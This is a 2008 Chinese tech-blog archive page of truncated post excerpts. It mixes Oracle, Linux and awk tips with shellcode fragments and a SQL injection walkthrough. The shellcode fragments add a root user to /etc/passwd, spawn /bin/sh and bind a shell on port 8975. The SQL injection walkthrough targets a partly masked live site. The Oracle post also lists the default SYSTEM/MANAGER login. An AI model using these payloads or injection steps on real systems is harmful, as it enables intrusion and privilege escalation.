Archive for: 11月 2008

2008-11-30

客户端不安装Oracle情况下连接数据库方法

归类于: Windows操作系统 - 30 Nov 2008

  以8i为例

  先装一台oracle client,

  保留oracle目录下的bin,network,ocommon三个目录,其余全部删掉,

  将注册表中HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE导出。

  在安装新机时,将oracle目录和注册表文件拷入,并注册注册表,在path中加入oracle\bin路径合,重启即可。

  注意几点:

  1.新机上目录要与安装oracle client机上目录一致,如不一致,则需修改注册表;

  2.在path一定要加上oracle\bin路径;

  3.重启机器,以上两步作完后一定要重启机器oracle client才起作用。)

  我是用以下方法实现不装客户端连接oracle8的,客户机操作系统为98:

  1. 建立一个目录(如:c:\orawin95),将oracle的\bin目录和Nlsrtl33\Data目录中的有关文件拷贝到这个目录下(这两个目录中的文件可以放在一起,也可以按原来的位置放置。文件清单见后);

  2. 在注册表中添加三项oracle注册项目(注册项目见后);

  3. 在autoexec.bat中增oracle和应用程序的路径;

  4. 将应用程序的运行库拷贝到系统能搜索到的路径中,最好是放在应用程序目录下;

  5. 将TNSNAMES.ORA和SQLNET.ORA拷贝到应用程序目录下,并配置好;

  6. 重新启动计算机,确保系统的PATH环境变量中有上述两个目录。

  7. 至此,配置完成。

  附:

  1. oracle文件清单

  \bin\*.dll;其中大部分DLL是不需要的。鉴于文件众多,这里就不一一列举,可以在实际测试中逐个排除掉;

  \nlsrtl33\data\*.nlb;此目录下放的是oracle的描述文件,如果系统找不到这些文件,就会出现 错误;

  2. 注册项清单

  [HKEY_LOCAL_MACHINE\Software\Oracle]

  ”NLS_LANG”=”SIMPLIFIED CHINESE_CHINA.ZHS16GBK”

  ”ORACLE_HOME”=”C:\\orawin95″

  ”ORA_NLS33″=”C:\\orawin95\\NLSRTL33\\DATA”

  通俗地说,主机字符串是ORACLE中用来表明客户端与服务器端连接的方式。它只是一个别名,其真正内容包含网络协议,ORACLE实例名等项目。如果要建立或修改一个主机字符串,可用SQL*NET EASY CONFIG程序。例如:新安装一个ORACLE,可按以下方式输入:

  用户名:SYSTEM

  密码:MANAGER

  主机字符串:TCP-LOOPBACK

  

linux/x86 add user t00r 82 bytes

归类于: 0day exploits - 30 Nov 2008

/*

* s0t4ipv6@shellcode.com.ar

* 0×14abril0×7d2

*

* 82 bytes

* Agrega la linea “t00r::0:0::/:/bin/sh” en /etc/passwd

*

* Encriptada en http://www.shellcode.com.ar/linux/lnx-t00r-cr1.c

*

*/

#include

// Shellcode // Asm Code

char shellcode[]=

“\x31\xc0″ …

微软 IIS 4.0/5.0 ESC控制序列漏洞

归类于: 最新漏洞公告 - 30 Nov 2008

微软 IIS 4.0/5.0 ESC控制序列漏洞

发布日期:2000-04-14

更新日期:2000-04-14

受影响系统:

Microsoft IIS 5.0

+ Microsoft Windows NT 2000

Microsoft IIS 4.0

+ Microsoft Windows NT 4.0

+ Microsoft BackOffice …

linux/ppc execve /bin/sh 112 bytes

归类于: 0day exploits - 30 Nov 2008

/*

* Linux PPC shellcode

* execve() of /bin/sh by Palante

*/

long shellcode[] = { /* Palante’s linuxPPC shellcode w/ NULL*/

0×7CC63278, 0×2F867FFF, 0×41BC0054, 0×7C6802A6,

0xB0C3FFF9, 0xB0C3FFF1, 0×38867FF0, 0×38A67FF4,

0×38E67FF3, 0×7CA52278, 0×7CE72278, 0×7C853A14,

0×7CC419AE, …

内核升级后 出现initramfs错误问题解决

归类于: Linux操作系统 - 30 Nov 2008

出现initramfs找不到/root /host或437或 VFS之类的提示:

1、如果root.disk是在fat32 分区上,所以内核选项要把fat相关和字体437的编入内核,选Y.

2、如果之前安过ubuntu的,升级内核后fat32转成NTFS出现initramfs,很可能是uuid变化了。把 安装盘:\ubuntu\disks\boot\grub\menu.lst 中的

kernel /boot/vmlinuz-2.6.25.4xxx root=UUID=XXXXXX loop=/ubuntu/disks/root.disk ro quiet splash

改为

kernel /boot/vmlinuz-2.6.25.4xxx root=/dev/XXX(X改为你自己的那个驱动器) loop=/ubuntu/disks/root.disk ro quiet splash

linux/SPARC portbind port 8975 284 bytes

归类于: 0day exploits - 30 Nov 2008

/*

* 0-day portbind shellcode for all those Sun machines running linux..

* Coded from scratch, so i take all the credits.

* It simply binds a pretty shell in port 8975/tcp enjoy.

* no nulls, no fork, no # …

文件序列a1,a2,a3…a11,a12…a1000改成a0001,a0002…a1000?

归类于: Unix操作系统 - 30 Nov 2008

  $cat test

  ls a* > tempfile1

  sed ’s/a//’ tempfile1 > tempfile2

  awk ‘{printf(”mv a%s as

  ”, $0, $0)}’ tempfile2 > tempfile3

  chmod 700 tempfile3

  ./tempfile3

  rm tempfile*

  $chmod test

  —————————————————————-

  ls a*|awk ‘{

  num=substr($1,2,length($1)-1);

  printf “mv %s ad

  ”,$1,num

  }’>rename.sh

  sh rename.sh

  —————————————————————-

  for file in a*

  do

  newfile=`echo $file | awk ‘{printf “ad”, substr($1, 2, length($1)-1)}’`

  mv $file …

awk脚本一例

归类于: Unix操作系统 - 30 Nov 2008

  #!/usr/bin/awk -f

  { if ($0 != “ERROR*” || error_line != “ERROR*”)

  print $0 }

  { error_line=$0 }

  #!/usr/bin/awk -f

  { if ($0 == “ERROR*” && error_line == “ERROR*”)

  next;

  error_line=$0; print }

  #!/usr/bin/awk -f

  BEGIN {temp=0}

  {if(temp!=0) print}

  {temp=index($0,”PID”)}

  #! /bin/sh

  awk -F, ‘{

  print $4 “,” $0

  }’ $* |

  sort |

  awk -F, ‘

  $1 == …

SQL数据库注入的新技巧

归类于: 脚本攻防 - 30 Nov 2008

SQL数据库注入的新技巧

表名和字段名的获得

_适用情况:

1)数据库是MSSQL

2)连接数据库的只是普通用户

3)不知道ASP源代码

可以进行的攻击

1)对数据内容进行添加,查看,更改

实例:

本文件以

http://www.dy***.com/user/wantpws.asp

为列进行测试攻击。

第一步:

在输入用户名处输入单引号,显示

Microsoft OLE DB Provider for SQL Server 错误 80040e14

字符串 之前有未闭合的引号。

/user/wantpws.asp,行63

说明没有过滤单引号且数据库是MSSQL.

第二步:

输入a;use master;–

显示

Microsoft OLE DB Provider for SQL Server 错误 80040e21

多步 …

认证指南系列教程

归类于: 数据库 - 30 Nov 2008

本系列教程将帮助您准备 DB2® 9 for Linux®, UNIX® and Windows™ Database Administration (731) 认证考试,通过此考试,您可以获得 “IBM Certified Database Administrator - DB2 9 for Linux, UNIX and Windows” 认证。这些教程提供了考试所需的知识,但需要提醒一句,本教程不能做为参加考试的唯一准备。考试之前,您还需要进一步的巩固和练习。祝您好运!

经过一个快速的注册过程,您就可以马上开始学习这些教程了。每个教程的学习大约需要花 1 个小时。

第 1 部分:服务器管理

学习管理 DB2 数据库服务器所需的技能。本教程提供了数据一致性,事务等方面的信息。

下一页 »